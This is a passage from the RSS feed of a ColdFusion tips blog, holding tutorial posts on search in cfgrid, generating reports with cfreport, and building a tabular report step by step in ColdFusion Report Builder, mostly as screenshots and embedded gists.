&amp;lt;/cfcomponent&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;No change is required in the &quot;testChar.cfm&quot; page.&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
When I runs the testChar.cfm again and clicks the refresh button then I gets following output.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCdpAo8078_vxiNv50Q2UpWgLi06uaZZAeugh9452zPkVxq9Z_s8WlJdheNFWZtvx7RDTJTZHpK7u_uCqBbfxOn65KPYcaOud6oGDNPJeHTlcKSOlbcwbY8HZF6MQYdiGUHKxcxc4gg9w/s1600/multi-4.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCdpAo8078_vxiNv50Q2UpWgLi06uaZZAeugh9452zPkVxq9Z_s8WlJdheNFWZtvx7RDTJTZHpK7u_uCqBbfxOn65KPYcaOud6oGDNPJeHTlcKSOlbcwbY8HZF6MQYdiGUHKxcxc4gg9w/s1600/multi-4.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Hope it may save your time!!!&lt;br /&gt;
&lt;br /&gt;</description><link>http://coldfusion-tip.blogspot.com/2013/11/displaying-multibyte-characters-or.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2mFkOE-gyVq_-AycwTdmormw4MIuOWS010TvNAMHmcomkWC0OdILGGdCXuvhqxTj2Yfb174yc7bftE3dK_2IQoI7E1-LYDtGBk6z3oCQ8ZwcX41DOJ_2KzmRQvGFBJXydJc5OstMs5-8/s72-c/multi-1.png" height="72" width="72"/><thr:total>2</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-6460274322121473296</guid><pubDate>Thu, 14 Nov 2013 19:47:00 +0000</pubDate><atom:updated>2013-11-15T09:17:02.078+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">cfgrid</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion</category><title>Search Functionality in CFGRID</title><description>In my previous cfgrid posts we have covered following functionality of cfgrid:&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #575757; font-family: Georgia, Utopia, &#39;Palatino Linotype&#39;, Palatino, serif; font-size: 15px; line-height: 21px;&quot;&gt;1.&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://coldfusion-tip.blogspot.com/2012/01/starting-with-cfgrid-part-1.html&quot; style=&quot;background-color: white; color: #ff2517; font-family: Georgia, Utopia, &#39;Palatino Linotype&#39;, Palatino, serif; font-size: 15px; line-height: 21px;&quot; target=&quot;_blank&quot;&gt;Starting with CFGRID( part - 1 )&lt;/a&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #575757; font-family: Georgia, Utopia, &#39;Palatino Linotype&#39;, Palatino, serif; font-size: 15px; line-height: 21px;&quot;&gt;2.&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://coldfusion-tip.blogspot.com/2012/01/starting-with-cfgrid-part-2-auto.html&quot; style=&quot;background-color: white; color: #ff2517; font-family: Georgia, Utopia, &#39;Palatino Linotype&#39;, Palatino, serif; font-size: 15px; line-height: 21px;&quot; target=&quot;_blank&quot;&gt;Starting with CFGRID( part - 2 )(Auto Refreshing CFGRID)&lt;/a&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; color: #575757; font-family: Georgia, Utopia, &#39;Palatino Linotype&#39;, Palatino, serif; font-size: 15px; line-height: 21px;&quot;&gt;3.&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://coldfusion-tip.blogspot.com/2012/03/export-cfgrid-data-or-table-data-in.html&quot; style=&quot;background-color: white; color: #929292; font-family: Georgia, Utopia, &#39;Palatino Linotype&#39;, Palatino, serif; font-size: 15px; line-height: 21px; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;Export cfgrid Data or Table Data in Excel, Pdf and CSV Format(ColdFusion - 9)&lt;/a&gt;&lt;br style=&quot;background-color: white; color: #575757; font-family: Georgia, Utopia, &#39;Palatino Linotype&#39;, Palatino, serif; font-size: 15px; line-height: 21px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #575757; font-family: Georgia, Utopia, &#39;Palatino Linotype&#39;, Palatino, serif; font-size: 15px; line-height: 21px;&quot;&gt;4.&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;http://coldfusion-tip.blogspot.com/2012/05/conditionally-change-color-of-cell-text.html&quot; style=&quot;background-color: white; color: #929292; font-family: Georgia, Utopia, &#39;Palatino Linotype&#39;, Palatino, serif; font-size: 15px; line-height: 21px; text-decoration: none;&quot; target=&quot;_blank&quot;&gt;Conditionally Change the Color Of a Cell Text In cfgrid&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
Today, we will see how we can implement searching functionality in cfgrid. Lets &amp;nbsp;see our cfgrid.cfm code below:&lt;br /&gt;
&lt;script src=&quot;https://gist.github.com/roulupen/2443bc9a1eef69d2a2d2.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;
Now, see the cfgrid.cfc:&lt;br /&gt;
&lt;script src=&quot;https://gist.github.com/roulupen/6affb3063d9f689faf8b.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;
All the above code is self explanatory. Hope it will help people who are new in ColdFusion and trying to learn about cfgrid.&lt;br /&gt;
&lt;br /&gt;
Happy Coding!!! &amp;nbsp;:)</description><link>http://coldfusion-tip.blogspot.com/2013/11/search-functionality-in-cfgrid.html</link><author>noreply@blogger.com (Unknown)</author><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-4155216791276460794</guid><pubDate>Sun, 10 Nov 2013 19:11:00 +0000</pubDate><atom:updated>2013-11-11T00:44:34.469+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">ColdFusion</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion 10</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion Rport Builder</category><title>Generate Report Using ColdFusion Report Template</title><description>In my following posts we learned up to creating a report template using ColdFusion report builder.&lt;br /&gt;
&lt;br /&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;http://coldfusion-tip.blogspot.com/2013/11/starting-with-coldfusion-report-builder.html&quot; target=&quot;_blank&quot;&gt;Starting with Report Builder&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://coldfusion-tip.blogspot.com/2013/11/server-set-up-in-coldfusion-10-report.html&quot; target=&quot;_blank&quot;&gt;Set up ColdFusion server in ColdFusion Report Builder&lt;/a&gt;.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://coldfusion-tip.blogspot.com/2013/11/creating-tabular-report-using.html&quot; target=&quot;_blank&quot;&gt;Creating a simple report template using ColdFusion Report Builder&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;
Now, it&#39;s time to use that report in our ColdFusion code.&lt;br /&gt;
&lt;br /&gt;
Place the &quot;.cfr&quot; file in your project directory. See the following code to use the report template.&lt;br /&gt;
&lt;script src=&quot;https://gist.github.com/roulupen/bfe86eaed04e2fb1890f.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;
In the first section, I have written a SQL query for report then I am using the report template in &lt;b&gt;cfreport &lt;/b&gt;tag to generate/display the report.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Here, if we will not use any query then it will display the report of the query which we had used during creating the report. If we are passing any query object to the cfreport tag then it will only consider the query object.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
So, by using a customize queries we can generate multiple reports of the same type using ColdFusion reporting template. We can also pass parameter to a report. We will learn that in my future post.&lt;br /&gt;
&lt;br /&gt;
Generated Report Screen Shot:&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBnw12l10j0Lmx-gY_1JSyUkQitMTmAzwRhb4HaVU0W3fZmVPxRBhDIO9A7IdtslHGPAdMUUZHb7zIChCJqOObdz2wEN6UdtK7EGoSmhA1ADHSWwlbdl5XHSCCBZg570ubDl6gGNn1JwI/s1600/SS-1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;372&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBnw12l10j0Lmx-gY_1JSyUkQitMTmAzwRhb4HaVU0W3fZmVPxRBhDIO9A7IdtslHGPAdMUUZHb7zIChCJqOObdz2wEN6UdtK7EGoSmhA1ADHSWwlbdl5XHSCCBZg570ubDl6gGNn1JwI/s640/SS-1.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;</description><link>http://coldfusion-tip.blogspot.com/2013/11/using-coldfusion-report-template-to.html</link><author>noreply@blogger.com (Unknown)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhBnw12l10j0Lmx-gY_1JSyUkQitMTmAzwRhb4HaVU0W3fZmVPxRBhDIO9A7IdtslHGPAdMUUZHb7zIChCJqOObdz2wEN6UdtK7EGoSmhA1ADHSWwlbdl5XHSCCBZg570ubDl6gGNn1JwI/s72-c/SS-1.png" height="72" width="72"/><thr:total>1</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-2973278314141154226.post-4051235551815933630</guid><pubDate>Sun, 10 Nov 2013 19:09:00 +0000</pubDate><atom:updated>2013-11-11T00:44:34.466+05:30</atom:updated><category domain="http://www.blogger.com/atom/ns#">ColdFusion</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion 10</category><category domain="http://www.blogger.com/atom/ns#">ColdFusion Rport Builder</category><title>Creating a Tabular Report using ColdFusion Report Builder</title><description>&lt;div class=&quot;MsoNormal&quot;&gt;
In my previous two post we just learned how w just installed
Report Builder and then connect Report Builder with our ColdFusion server.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
If you want to see old posts please go from here #1(&lt;a href=&quot;http://coldfusion-tip.blogspot.com/2013/11/starting-with-coldfusion-report-builder.html&quot; target=&quot;_blank&quot;&gt;Report Builder installation&lt;/a&gt;) and #2(&lt;a href=&quot;http://coldfusion-tip.blogspot.com/2013/11/server-set-up-in-coldfusion-10-report.html&quot; target=&quot;_blank&quot;&gt;Set up Server in Report Builder&lt;/a&gt;)&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
So, now it’s time to go for a simple example of ColdFusion
reporting using Report Builder. Please follow the steps to generate a tabular
report and use that in ColdFusion code.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: Symbol; text-indent: -0.25in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: Symbol; text-indent: -0.25in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;text-indent: -0.25in;&quot;&gt;Click on &lt;/span&gt;&lt;b style=&quot;text-indent: -0.25in;&quot;&gt;File
-&amp;gt; New&lt;/b&gt;&lt;span style=&quot;text-indent: -0.25in;&quot;&gt; in Report Builder, you will see a screen like below:&lt;/span&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisimQ93c7fZzS3rG1QpaEzovs09ODsId6ywLlCW4W1ob14texQLGsGro1FWTtvzCmeTzpE8rw-BRIrRPej1XBik4Lq4zFEu5YclId3aGUw6v1r1HNHHJABCDrINoeLhVyiXvI33ra7uAQ/s1600/rc-1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEisimQ93c7fZzS3rG1QpaEzovs09ODsId6ywLlCW4W1ob14texQLGsGro1FWTtvzCmeTzpE8rw-BRIrRPej1XBik4Lq4zFEu5YclId3aGUw6v1r1HNHHJABCDrINoeLhVyiXvI33ra7uAQ/s1600/rc-1.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
Go with “&lt;b&gt;Report Creation Wizard&lt;/b&gt;” and click on “&lt;b&gt;OK&lt;/b&gt;”.&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;text-indent: -0.25in;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;text-indent: -0.25in;&quot;&gt;You will see a next screen like below:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgu179HJnI3pt5qU6TzXN0hIGmOLIG6plT014L1o5JQYSXiebDtsUfS9nTekXaGMa4HOzHlYSkjxWde8WoDHOKsqZLci2hPUZT-AF4T7P6Y409qPpsGsLDrIW7iwAfU19xwzQOBPuWwcM/s1600/rc-2.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgu179HJnI3pt5qU6TzXN0hIGmOLIG6plT014L1o5JQYSXiebDtsUfS9nTekXaGMa4HOzHlYSkjxWde8WoDHOKsqZLci2hPUZT-AF4T7P6Y409qPpsGsLDrIW7iwAfU19xwzQOBPuWwcM/s1600/rc-2.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;text-indent: 0.5in;&quot;&gt;Click on “&lt;/span&gt;&lt;b style=&quot;text-indent: 0.5in;&quot;&gt;Query Builder&lt;/b&gt;&lt;span style=&quot;text-indent: 0.5in;&quot;&gt;” button.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;text-indent: -0.25in;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;span style=&quot;text-indent: -0.25in;&quot;&gt;Then we will see a new Query Builder screen for
our report.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQvO27EO0PJsb7mi9lH_-AkUp4yXR5LQA3DJrlI3QG79ZpE0PyuZaXcue7dtQqmEPOJAeL6w1h9xzw_XbwzEuWSlfpE-6NZB8v099ZDyYMTgDk188Vmez7pf507far8Y7ABnV5IEx-qs4/s1600/rc-3.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;476&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQvO27EO0PJsb7mi9lH_-AkUp4yXR5LQA3DJrlI3QG79ZpE0PyuZaXcue7dtQqmEPOJAeL6w1h9xzw_XbwzEuWSlfpE-6NZB8v099ZDyYMTgDk188Vmez7pf507far8Y7ABnV5IEx-qs4/s640/rc-3.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
As shown in the picture, you can see all the available data
sources and also you can write your own customize SQL query in the mentioned
section. There is button “&lt;b&gt;Test Query&lt;/b&gt;”.
You can also test the query output by clicking that button. If your query has
any problem then it will display error message.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
After writing your SQL query just click on “&lt;b&gt;Save&lt;/b&gt;” button.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: Symbol; text-indent: -0.25in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span style=&quot;font-family: Symbol; text-indent: -0.25in;&quot;&gt;&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;text-indent: -0.25in;&quot;&gt;Then you will see another screen like below:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwz51SaL22k5c0TpzvTEA5X6npQqQhp3scd_2NLjRXpQ6iDm-Xmejatxv3tMJmJuNFwCOq0qy5A9C3XxB7StEDu8WIvpVKGhh8yrwLslR1otK0c0pEm_yBts73ZKIkbY1NvxGKV7aTrj0/s1600/rc-5.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgwz51SaL22k5c0TpzvTEA5X6npQqQhp3scd_2NLjRXpQ6iDm-Xmejatxv3tMJmJuNFwCOq0qy5A9C3XxB7StEDu8WIvpVKGhh8yrwLslR1otK0c0pEm_yBts73ZKIkbY1NvxGKV7aTrj0/s1600/rc-5.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-indent: -24px;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div class=&quot;MsoListParagraphCxSpMiddle&quot;&gt;
&lt;!--[if gte vml 1]&gt;&lt;v:shape
 id=&quot;Picture_x0020_3&quot; o:spid=&quot;_x0000_i1033&quot; type=&quot;#_x0000_t75&quot; alt=&quot;rc-5.png&quot;
 style=&#39;width:436.5pt;height:330pt;visibility:visible;mso-wrap-style:square&#39;&gt;
 &lt;v:imagedata src=&quot;file:///C:\Users\UPENDR~1\AppData\Local\Temp\msohtmlclip1\01\clip_image007.png&quot;
  o:title=&quot;rc-5&quot;/&gt;
&lt;/v:shape&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;&lt;!--[endif]--&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpMiddle&quot;&gt;
Here, you can select query columns which
you want to in printable report.By using right side &quot;&lt;b&gt;Up&lt;/b&gt;&quot; and &quot;&lt;b&gt;Down&lt;/b&gt;&quot; arrow you can place column in a defined order. For now just forget it and click on “&lt;b&gt;Next&lt;/b&gt;”.&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpLast&quot; style=&quot;mso-list: l0 level1 lfo1; text-indent: -.25in;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;We will see another screen as below:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1LUjEMQ1CfVDNnBcTWiZHaZaOKH_1RD8P9D9-mmzVRNXkzowBQlhlwLdhQ1yYh-LFAIJq9rR_oJ5rqQI7TlNP5x2z8LadIXqG2wpkrRClzeyBAbF8yOdMLikL2Vo5SCTkerGSlJO1lGo/s1600/rc-6.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj1LUjEMQ1CfVDNnBcTWiZHaZaOKH_1RD8P9D9-mmzVRNXkzowBQlhlwLdhQ1yYh-LFAIJq9rR_oJ5rqQI7TlNP5x2z8LadIXqG2wpkrRClzeyBAbF8yOdMLikL2Vo5SCTkerGSlJO1lGo/s1600/rc-6.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpLast&quot; style=&quot;mso-list: l0 level1 lfo1; text-indent: -.25in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;!--[if gte vml 1]&gt;&lt;v:shape
 id=&quot;Picture_x0020_4&quot; o:spid=&quot;_x0000_i1032&quot; type=&quot;#_x0000_t75&quot; alt=&quot;rc-6.png&quot;
 style=&#39;width:438pt;height:335.25pt;visibility:visible;mso-wrap-style:square&#39;&gt;
 &lt;v:imagedata src=&quot;file:///C:\Users\UPENDR~1\AppData\Local\Temp\msohtmlclip1\01\clip_image009.png&quot;
  o:title=&quot;rc-6&quot;/&gt;
&lt;/v:shape&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;&lt;!--[endif]--&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Here, you can define any order by fields in your report. Let
say I want to see first all arts which is not yet sold. By using the extreme
right Up and Down arrow you can define the direction of the order by clause. Here,
I want to see all sold items first so I made as descending order. It depends on
your choice.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Click on “&lt;b&gt;Next&lt;/b&gt;” to go
to next screen.&lt;/div&gt;
&lt;div class=&quot;MsoListParagraph&quot; style=&quot;mso-list: l0 level1 lfo1; text-indent: -.25in;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;Here is our next screen:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNCztYredEm6GalZGhSVimHxolAH_w4J-QONzXB1x2bsFYZTSps84VUjUMdJeH7sTSHyaoKOqRH2rwYz48OUUJ5M3UuFeVsqz2e6D0TYM4-BiW2Gzm_3qgpWwe6aQcar4G86gSomJF0RA/s1600/rc-7.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNCztYredEm6GalZGhSVimHxolAH_w4J-QONzXB1x2bsFYZTSps84VUjUMdJeH7sTSHyaoKOqRH2rwYz48OUUJ5M3UuFeVsqz2e6D0TYM4-BiW2Gzm_3qgpWwe6aQcar4G86gSomJF0RA/s1600/rc-7.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Just select the option as you see in screen and then click
on “&lt;b&gt;Next&lt;/b&gt;”. You will see another
screen after that then click on “Next”.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraph&quot; style=&quot;mso-list: l0 level1 lfo1; text-indent: -.25in;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;You will see the next screen like below:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1PcE0eVfUCPncKai3jIE5ZjHpOxqjw81lzi8XHT5oiOcMhXiKj1CB5zyMweyMaJOga0TZabtDYhNOk8d-wKl4dUY9hybA-CyvOE5d_xWjdoqnbIpSd8BKver38ANONprWcakRJp5cfJ8/s1600/rc-10.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg1PcE0eVfUCPncKai3jIE5ZjHpOxqjw81lzi8XHT5oiOcMhXiKj1CB5zyMweyMaJOga0TZabtDYhNOk8d-wKl4dUY9hybA-CyvOE5d_xWjdoqnbIpSd8BKver38ANONprWcakRJp5cfJ8/s1600/rc-10.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
Here, in the text fields you have to put some descriptive
name about your report. See the label and put the description text accordingly
then click on “&lt;b&gt;Finish&lt;/b&gt;”.&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraph&quot; style=&quot;mso-list: l0 level1 lfo1; text-indent: -.25in;&quot;&gt;
&lt;!--[if !supportLists]--&gt;&lt;span style=&quot;font-family: Symbol; mso-bidi-font-family: Symbol; mso-fareast-font-family: Symbol;&quot;&gt;·&lt;span style=&quot;font-family: &#39;Times New Roman&#39;; font-size: 7pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&lt;/span&gt;&lt;/span&gt;&lt;!--[endif]--&gt;After, all these set up finally you see some
different window like below:&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiozyFa5lj11kYVjN4CsN4x6hIuT4oUAAAc3-OeXrqjSFbDzM1wdii6cFPKnvv5wVIIN5IkLCsZ2Xr04I4sHcbQDXCzPJdMK2Li-TyoxdXP_KJJRZxIrITgW52Qygf2Inv_9fjEmoBq0sY/s1600/rc-11.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;464&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiozyFa5lj11kYVjN4CsN4x6hIuT4oUAAAc3-OeXrqjSFbDzM1wdii6cFPKnvv5wVIIN5IkLCsZ2Xr04I4sHcbQDXCzPJdMK2Li-TyoxdXP_KJJRZxIrITgW52Qygf2Inv_9fjEmoBq0sY/s640/rc-11.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;MsoListParagraph&quot; style=&quot;mso-list: l0 level1 lfo1; text-indent: -.25in;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;!--[if gte vml 1]&gt;&lt;v:shape
 id=&quot;Picture_x0020_7&quot; o:spid=&quot;_x0000_i1029&quot; type=&quot;#_x0000_t75&quot; alt=&quot;rc-11.png&quot;
 style=&#39;width:468pt;height:339.75pt;visibility:visible;mso-wrap-style:square&#39;&gt;
 &lt;v:imagedata src=&quot;file:///C:\Users\UPENDR~1\AppData\Local\Temp\msohtmlclip1\01\clip_image015.png&quot;
  o:title=&quot;rc-11&quot;/&gt;
&lt;/v:shape&gt;&lt;![endif]--&gt;&lt;!--[if !vml]--&gt;&lt;!--[endif]--&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
In this screen we can customize our report header text and
we can also format the display text in report.&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
